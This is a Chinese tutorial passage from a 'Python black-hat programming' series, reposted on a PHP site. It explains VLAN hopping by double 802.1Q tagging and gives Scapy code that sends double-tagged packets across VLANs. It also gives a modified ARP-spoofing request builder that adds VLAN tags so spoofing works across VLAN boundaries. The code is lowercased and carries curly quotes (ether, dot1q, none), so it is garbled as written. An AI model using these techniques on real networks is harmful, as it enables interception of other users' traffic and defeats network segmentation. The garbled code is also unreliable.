vlan(virtual local area network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个valn,也可以跨越物理网络障碍,将不同子网中的用户划到同一个vlan中。图2是一个vlan划分的例子。
#!/usr/bin/python
from scapy.all import *
packet = ether(dst=”c0:d3:de:ad:be:ef”) / \
dot1q(vlan=1) / \
dot1q(vlan=2) / \
ip(dst=”192.168.13.3″) / \
icmp()
sendp(packet)
上面的代码我们指定了目标主机的mac和ip地址,添加了两个vlan标识,第一个是发送数据的主机所在的vlan,第二个是目标主机所在的vlan。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。
3.4.2 跨vlan的arp欺骗
3.1、3.2和3.3节我们都在讨论arp欺骗的问题,由于vlan限制了广播域,我们之前的代码是无法跨vlan进行arp欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的arp欺骗数据中插入vlan标识即可。下面这段代码是我们在3.1节构造arp请求数据包的代码。
def build_req():
if options.target is none:
pkt = ether(src=mac, dst=’ff:ff:ff:ff:ff:ff’) / arp(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is none:
print “[-] error: could not resolve targets mac address”
sys.exit(1)
pkt = ether(src=mac, dst=target_mac) / arp(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
在构造数据包的部分,我们插入vlan标识:
pkt = ether(src=mac, dst=target_mac) /dot1q(vlan=our_vlan) / dot1q(vlan=target_vlan) / arp(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
这样就可以实现跨vlan的arp欺骗了。
3.4.3 小结
本节主要讲了如何构造欺骗vlan的数据包,达到跨vlan数据通信和arp欺骗的目的。需要注意的是,本文的方法主要针对802.1q协议,对以端口进行物理隔离的的vlan没有效果。
以上所述是小编给大家介绍的python黑帽编程 3.4 跨越vlan详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对php中文网的支持!
更多python黑帽编程 3.4 跨越vlan相关文章请关注php中文网!